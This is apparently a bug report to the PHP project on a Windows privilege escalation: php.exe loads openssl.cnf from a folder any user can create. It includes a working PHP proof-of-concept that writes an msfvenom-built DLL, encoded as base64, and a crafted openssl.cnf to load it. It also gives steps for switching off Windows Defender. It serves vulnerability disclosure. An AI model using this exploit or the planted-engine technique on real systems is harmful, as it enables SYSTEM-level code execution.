Description:
------------
PHP Version: php-7.3.9-Win32-VC15-x64
Os Version: Windows 10.0.18362 N/A Build 18362
Description: 
If php.exe load openssl extension or curl extension, When php.exe is executed it attempts to load openssl.cnf from C:\\usr\\local\\ssl\\openssl.cnf.By default on windows, low privileged users have the authority to create folders under c:. A low privileged user can create a custom openssl.cnf file to load a malicious OpenSSL Engine(library). The result is arbitrary code execution with the full authority of the account executing the php.exe.

Because Apache2 will run apache2 service with SYSTEM privileged by default.If Apache2 use mod_php function to load php, After Apache2 Server restart, Attacker can get SYSTEM privileged by this vulnerability.

Here are some similar examples:
1. https://hackerone.com/reports/608577
2. https://hackerone.com/reports/162955
3. https://www.google.com/search?q=openssl.cnf+elevation+of+privilege

I write a script to create the custom openssl.cnf file and the malicious OpenSSL library calc.dll.After you run the eop.php,you run php.exe as any user, calc.exe will appear.

```
C:\Users\Admin>tasklist /v|find "Calc"

C:\Users\Admin>dir C:\usr\local\ssl
The system cannot find the path specified.

C:\Users\Admin>C:\php\php.exe C:\Users\Admin\Desktop\eop.php

C:\Users\Admin>tasklist /v|find "Calc"

C:\Users\Admin>dir C:\usr\local\ssl
 Volume in drive C has no label.
 Volume Serial Number is A654-1265

 Directory of C:\usr\local\ssl

09/18/2019  09:53 AM    <DIR>          .
09/18/2019  09:53 AM    <DIR>          ..
09/18/2019  09:53 AM             5,120 calc.dll
09/18/2019  09:53 AM               194 openssl.cnf
               2 File(s)          5,314 bytes
               2 Dir(s)  21,862,887,424 bytes free

C:\Users\Admin>C:\php\php.exe

C:\Users\Admin>tasklist /v|find "Calc"
ApplicationFrameHost.exe      5564 Console                    1     31,196 K Running         DESKTOP-V4NN18O\Admin                                   0:00:05 Calculator
Calculator.exe                5852 Console                    1     66,156 K Running         DESKTOP-V4NN18O\Admin                                   0:00:01 CicMarshalWnd
```

This is Process Monitor screenshot.
https://images.seebug.org/content/images/2019/09/c57c32f4-ab5b-4117-a0aa-c7941ddbd267.png-w331s
php.exe will load the custom openssl.cnf and load the malicious OpenSSL library.

Test script:
---------------
<?php
/*
Because I use `msfvenom` create a malicious dll,so Windows Defender will delete the php file and C:\\usr\\local\\ssl\\calc.dll.
You can close Real-time protection (Settings -> Update & Security -> Windows Security -> Open Windows Security -> Virus & threat protection -> Manage settings) or compile a malicious OpenSSL Engine library by yourself(reference: https://hackerone.com/reports/608577) to avoid this problem.
*/
//create malicious dll by command: msfvenom -p windows/x64/exec CMD="calc.exe" -a x64 -f dll|base64 -w 0
$malicious_calc_dll_base64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB5GkLAPXsskz17LJM9eyyT4ITnkz57LJM9ey2TNXsskzApzJM8eyyTMCnykzx7LJNSaWNoPXsskwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABkhgQAGwkNUwAAAAAAAAAA8AAiIAsCDAAAAgAAAA4AAAAAAACwEQAAABAAAAAAAIABAAAAABAAAAACAAAGAAAAAAAAAAYAAAAAAAAAAFAAAAAEAAAAAAAAAgBgAQAAEAAAAAAAABAAAAAAAAAAABAAAAAAAAAQAAAAAAAAAAAAABAAAAAAAAAAAAAAAGAgAAAoAAAAAAAAAAAAAAAAQAAAJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA4gEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAGwBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAANCAAAADAAAAAKAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5wZGF0YQAAJAAAAABAAAAAAgAAABIAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiJVCQQSIlMJAhIg+wYSItEJCBIiUQkCEjHBCQAAAAASMcEJAAAAADrC0iLBCRI/8BIiQQkSItEJChIOQQkcxdIi0QkCMYAAEiLRCQISP/ASIlEJAjr00iDxBjDzMzMzMzMzMzMzMzMzMzMzMzMzMxIgey4BQAAumgAAABIjUwkcOh6////x0QkcGgAAABIjUQkWEiJRCRISI1EJHBIiUQkQEjHRCQ4AAAAAEjHRCQwAAAAAMdEJChEAAAAx0QkIAAAAABFM8lFM8BIjRUvJwAAM8n/FT8PAACFwA+EqwAAAMeEJBABAAADABAASI2UJOAAAABIi0wkYP8VIQ8AAMdEJCBAAAAAQbkAEAAAQbgACAAAM9JIi0wkWP8VEA8AAEiJRCRQSMdEJCAAAAAAQbkACAAATI0FxR4AAEiLVCRQSItMJFj/Fe0OAABIi0QkUEiJhCTYAQAASI2UJOAAAABIi0wkYP8VvQ4AAEiLTCRg/xWaDgAASItMJGD/FX8OAABIi0wkWP8VdA4AADPJ/xV0DgAASIHEuAUAAMPMzMzMzMzMzMzMzMzMzMzMzMzMzEyJRCQYiVQkEEiJTCQISIPsOItEJEiJRCQgg3wkIAF0AusF6Jj+//+4AQAAAEiDxDjDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0CAAAAAAAADeIAAAAAAAAOwgAAAAAAAA/CAAAAAAAAAOIQAAAAAAACIhAAAAAAAANiEAAAAAAABIIQAAAAAAAAAAAAAAAAAAAQ4BAA4iAAABBwIABwG3AAESAQASYgAAiCAAAAAAAAAAAAAAXiEAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAgAAAAAAAA3iAAAAAAAADsIAAAAAAAAPwgAAAAAAAADiEAAAAAAAAiIQAAAAAAADYhAAAAAAAASCEAAAAAAAAAAAAAAAAAAH8AQ2xvc2VIYW5kbGUAWAFFeGl0VGhyZWFkAACrBFJlc3VtZVRocmVhZAAA1wBDcmVhdGVQcm9jZXNzQQAA6wJHZXRUaHJlYWRDb250ZXh0AAA4BVNldFRocmVhZENvbnRleHQAAKoFVmlydHVhbEFsbG9jRXgAAPgFV3JpdGVQcm9jZXNzTWVtb3J5AABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8SIPk8OjAAAAAQVFBUFJRVkgx0mVIi1JgSItSGEiLUiBIi3JQSA+3SkpNMclIMcCsPGF8AiwgQcHJDUEBweLtUkFRSItSIItCPEgB0IuAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulX////XUi6AQAAAAAAAABIjY0BAQAAQboxi2+H/9W78LWiVkG6ppW9nf/VSIPEKDwGfAqA++B1BbtHE3JvagBZQYna/9VjYWxjLmV4ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJ1bmRsbDMyLmV4ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAFwQAABIIAAAcBAAAJwRAABQIAAAsBEAAOIRAABYIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
// the content of C:\\usr\\local\\ssl\\openssl.cnf
$openssl_cnf_content = "openssl_conf = openssl_init\r\n[openssl_init]\r\nengines = engine_section\r\n[engine_section]\r\nfoo = foo_section\r\n[foo_section]\r\nengine_id = foo\r\ndynamic_path = C:\\\\usr\\\\local\\\\ssl\\\\calc.dll\r\ninit = 0";
if(!is_dir("C:\\usr\\local\\ssl\\")){
  mkdir("C:\\usr\\local\\ssl\\",777,true);
}
$fp = fopen("C:\\usr\\local\\ssl\\calc.dll","w");
fwrite($fp, base64_decode($malicious_calc_dll_base64));
fclose($fp);
$fp = fopen("C:\\usr\\local\\ssl\\openssl.cnf","w");
fwrite($fp, $openssl_cnf_content);
fclose($fp);
?>


Expected result:
----------------
After you run eop.php, "C:\usr\local\ssl\openssl.cnf" and "C:\usr\local\ssl\calc.exe" will created.
If you run any php script again, calc.exe will appear.